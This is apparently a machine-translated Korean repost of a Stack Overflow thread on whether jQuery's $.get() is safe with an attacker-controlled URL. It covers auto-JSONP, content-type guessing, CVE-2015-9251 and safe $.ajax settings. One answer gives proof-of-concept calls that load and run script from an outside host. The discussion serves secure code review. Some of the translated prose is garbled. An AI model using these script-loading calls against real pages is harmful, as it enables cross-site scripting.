programing

jQuery의 $.get()가 신뢰할 수 없는 URL에서 호출해도 안전합니까?

subpage 2023. 9. 1. 20:59
반응형

jQuery의 $.get()가 신뢰할 수 없는 URL에서 호출해도 안전합니까?

는 최근에의 저는최 jQuery의를 알게 .$.getJSON()신뢰할 수 없는 URL을 호출하는 것은 안전하지 않습니다.$.get()의 jQuery입니다$.get()URL 매개 변수가 신뢰할 수 없는 소스에서 왔을 때 호출하는 것이 안전합니까, 아니면 안전하지 않습니까?

이것은 XSS 취약점을 확인하기 위해 제가 하고 있던 보안 코드 검토에서 나왔습니다.코드 패턴의 예:

$.get(url, function (...) { ... })

가 XSS를 선택하면 이 코드 합니까?url악의적으로?

의 응답을 안전하게 이며, "AJAX"는 다음과 같이 .url신뢰할 수 없는 소스(예: 다른 사용자)에서 제공되며 공격자가 완전히 제어할 수 있습니다.

: 만약에: 만약에: 약만의민: 나고▁my.url 공자가선택경한 다 URL 택할있습니수선인의적:callback=?JSON()을 사용하는 것과 같은 방법으로 XSS 취약성을 도입하고, JSONP를 사용하도록 설정하고, 문서에 스크립트 태그를 삽입하고, JSON()을 사용하는 것과 같은 방식으로 JSON 취약성을 도입하는 jQuery로 하여금 자신의 사이트를 가리키게 합니다. (제가 명시적으로 전달하지 않았기 때문에)dataType에 대한 인수입니다.$.get()jQuery는 문서에 설명된 대로 데이터 유형을 추측합니다.보안이 어떤 영향을 미치는지 잘 모르겠습니다.)

코드 검토에서 이 코드 패턴을 우연히 발견했는데, 잠재적인 취약점인지 이해하려고 합니다.저는 이 코드를 작성할 수 있는 다른 방법을 찾고 있는 것이 아니라, 이런 종류의 코드 패턴이 그대로 안전한지 알고 싶습니다.


위협 모델이 다소 까다롭기 때문에 이를 더 잘 이해하는 데 도움이 되는 예를 들어 보겠습니다.Bob이 서비스의 사용자이며 프로필과 연결된 URL을 제공할 수 있다고 가정합니다.Bob의 Alice에게 합니다.$.get()문제는, 이게 안전한가요?밥이 이것으로 앨리스를 공격할 수 있을까요?밥은 앨리스의 브라우저가 앨리스의 모든 힘으로 임의의 자바스크립트 코드를 실행하도록 트리거할 수 있습니까?설명하는 처럼, 된질설이듯하명문이연결,이,$.getJSON()하지 않습니다. 어떻게 해야 할까요? 하지만 어떻게 해야 할까요?$.get()그것도 안전하지 않나요, 아니면 안전한가요?


제가 몇 가지 설명 요청을 받았기 때문에, 다른 방법으로 질문을 설명해 보겠습니다.일부 Javascript 코드에 XSS 취약성이 있는지 확인하기 위해 코드 검토를 수행하고 있는데 다음 코드 줄이 보입니다.

$.get(url, function(resp) { /* do nothing */ });

내가 알고 있다고 가정해 보세요.url공격자가 완전히 제어할 수 있습니다.이것이 자동으로 XSS 취약성입니까?아니면 항상 안전한가요?아니면 답이 "그것은 의존한다"라면, 그것은 무엇에 의존합니까?

아니면, 이것에 대해 생각할 수 있는 또 다른 방법입니다.코드 검토를 하고 있는데 다음 코드 줄이 보인다고 가정합니다.

$.get(url, f);

내가 알고 있다고 가정해 보세요.url공격자가 완전히 제어할 수 있습니다.XSS 버그가 없는지 확인하려면 무엇을 확인해야 합니까?는 다의코확드한것있다습니알고의 .f응답을 안전하게 처리하는지 확인하기 위해, 왜냐하면f부주의해서 XSS 버그가 발생할 수 있습니다.제 질문은: 그것이 제가 확인해야 하는 유일한 것인가요?아니면 이 코드 패턴은 항상 XSS 취약성인가요? 방법에 관계없이f코드화되었습니까?

공격자가 url을 악의적으로 선택하면 이 코드 패턴이 XSS 취약성을 생성합니까?

편집: 예, 하지만 질문에 나온 이유 때문은 아닙니다.

이상한 자동 JSONP 기능은 다음을 사용하여 AJAX 요청에 내부적으로 적용됩니다.ajaxPrefilter("json jsonp")그래서 그것은 적용됩니다.json프리필터 리스트(다른 유형은 아님) 또는 기본값*그러나 응답이 발생하기 전에 프리필터가 적용되므로 서버가 JSON과 유사한 유형으로 응답한다고 해서 이러한 현상이 발생할 수 없습니다.

(현재—1.11 기준).2—에 대한 문서getJSON이 잠재적으로 유발될 수 있는 행동이 발화하는 상황을 정확히 설명하지 않습니다.그리고 문서들은get그리고.ajaxauto-JSONP는 전혀 언급하지 마십시오.그래서 아마도 그것은 벌레로 여겨져야 할 것입니다.확실히 이것이 얼마나 잘못 지정되었는지를 고려할 때, 저는 jQuery의 미래 버전에서 동일하게 유지되는 것에 의존하지 않을 것입니다.)

(프램과 칫솔에서 입증된 바와 같이) 실제 취약한 이유는 보호 장치가 없기 때문입니다.dataType매개 변수 jQuery는 반응에서 하나를 추측합니다.공격자의 URL이 JS와 유사한 리소스에 도달한 경우Content-TypejQuery는 그것이 자바스크립트라고 추측할 것이고,evalit. 참고: AJAX 요청이 작동하기에 충분하려면 타사 서버의 리소스에 대해 CORS 헤더를 포함해야 합니다.

$.get(url, function (...) { ... }, 'json');

이 버전은 응답 유형 추측에 취약하지 않습니다.그러나 Auto-JSONP 필터에는 취약합니다.

안전하려면 둘 다 다음을 설정해야 합니다.dataType옵션 및 해당 옵션이json또한jsonp: false선택.안타깝게도 설정할 수 없습니다.jsonp의 옵션get()방법.매개 변수 대신 옵션 사전을 전달하여 이 작업을 수행할 수 있어야 하지만 jQuery가 동작을 예측하기 어려운 손상된 Do-What-I-Mean API로 인해 현재 이 API가 완전히 작동하지 않기 때문에 그렇게 할 수 없습니다.

따라서 신뢰할 수 없는 URL에서 JSON을 가져오는 유일한 안전한 방법은 기본적인 방법입니다.ajax:

$.ajax(url, {dataType: 'json', jsonp: false});

jQuery.get XSS 보안 위험이 있습니다.

jQuery(또는 에 대한 설명서)의 소스를 보면 다음과 같이 표시됩니다.jQuery.get그리고.jQuery.post을 위한 포장지일 뿐입니다.jQuery.ajax({ url: url, data: data, success: success, dataType: dataType });.

여기에는 두 가지 문제가 있습니다.

  1. 한다면dataType이라jsonp또는 URL이 다음으로 끝납니다.=?그리고.dataType이라jsonjQuery는 JSONP 요청을 시도한 다음eval대본
  2. 응답이 스크립트인 경우, jQuery는 다음과 같은 경우를 제외하고 해당 스크립트를 실행합니다. dataType이라json그리고jsonp옵션이 다음으로 설정됨false.

그래서 만약 당신이dataType로.json,그리고.jsonp로.false전화해도 무방합니다jQuery.get알 수 없는 URL입니다.

취약한 스크립트

$.get(url, function(...) { ... });

JSFidle의 예를 참조하십시오.

안전한 스크립트

$.ajax(url, { jsonp: false, dataType: 'json' }).done(function(...) { ... });

JSFidle의 예를 참조하십시오.

사정에 따라 다르겠지.

TL;DR 예, 특정 경우에는 안전하지 않습니다.

다음의 경우:

  • 내용 보안 정책을 사용하여 외부 요청을 필터링하지 않습니다(가용).
  • 클라이언트 브라우저는 CORS(caniuse)를 지원합니다.
  • 공격자는 URL을 선택할 수 있습니다.

그러면 공격자는 당신의 페이지에서 JS를 실행할 수 있습니다.

일치하는 프로토콜, 올바른 CORS 헤더를 가진 악의적인 서버(Access-Control-Allow-Origin: *) Content-Type 헤더에서 jQuery 자동 탐지를 통해 페이지에서 JS를 실행할 수 있습니다(JS의 경우script).

스택 오버플로 시 이 페이지에서 시도할 수 있는 예(사용자가 실행 중이라고 가정)http):

$.get('http://zensuite.net/js/alert.js', console.log.bind(console));

CORS 헤더가 설정되지 않은 경우 어떻게 되는지 확인하려면:

$.get('https://zensuite.net/js/alert.js', console.log.bind(console));

대신 가설에 대해 이야기하면 jQuery가 일반 XHR 요청을 스크립트의 원격 포함으로 변환하지 못할 수 있습니다.

코드를 간략하게 살펴본 후 전송을 요청하기 전에만 "원격 스크립트 모드"로 전환할 수 있고 다음과 같은 경우에만 가능하기 때문에 (어디선가 버그가 없는 한) 이러한 일은 발생하지 않을 것이라고 생각합니다.dataType이라

  • jsonURL이 일치할 때rjsonp정규 표현식/(=)\?(?=&|$)|\?\?/;
  • jsonp
  • script

또한 다음과 같은 취약성도 있습니다.

$.get('https://zensuite.net/js/alert.js?callback=?', console.log.bind(console), 'json');
$.get('https://zensuite.net/js/alert.js', console.log.bind(console), 'jsonp');
$.get('https://zensuite.net/js/alert.js', console.log.bind(console), 'script');

이것은 물론 질문과 관련이 없습니다. 당신이 그냥 사용할 수 있다는 사실을 고려할 때.$.get원격 코드를 실행합니다.

좋은 지적입니다.하지만 JSONP로 사용되지 않도록 데이터 형식을 강제하는 것은 어떻습니까?

$.ajax({
    url: url,
    data: data,
    success: success,
    dataType: dataType  // force text/plain 
});

아큐탈$.getJSON()구문 분석 속도를 높이고 싶을 때 편의를 위해 사용되므로, 보안을 정말로 알고 있다면 사용자 정의된$.ajax()전화가 걸려오는 전화.

많은 정보: http://api.jquery.com/jquery.ajax/

https://nvd.nist.gov/vuln/detail/CVE-2015-9251 에 따르면 이는 jQuery < 3.0.0의 XSS 취약성입니다.

jQuery 3.0.0 이전 버전은 dataType 옵션 없이 도메인 간 Ajax 요청을 수행할 경우 XSS(사이트 간 스크립팅) 공격에 취약하여 텍스트/javascript 응답이 실행됩니다.

그 해커는 개발 콘솔을 열고 아무 것이나 쓸 수 있습니다.$.get그는 당신의 것을 바꿀 필요조차 없습니다.url변수.사실, 그는 동일한 도메인 정책을 방해하지 않는 한 그가 원하는 모든 코드를 실행할 수 있습니다.고객 측 보안의 요점은 범인이 자신만 해킹할 수 있는지 확인하는 것입니다

따라서 클라이언트 측을 보호하려고 할 필요가 없습니다. 브라우저에서 제공되는 데이터는 신뢰할 수 없으므로 항상 서버에서 수신되는 데이터를 확인하고 둘 사이의 인터페이스(파라미터, 유형 등)를 최소화해야 합니다.

언급URL : https://stackoverflow.com/questions/29044209/is-jquerys-get-safe-to-call-on-an-untrusted-url

반응형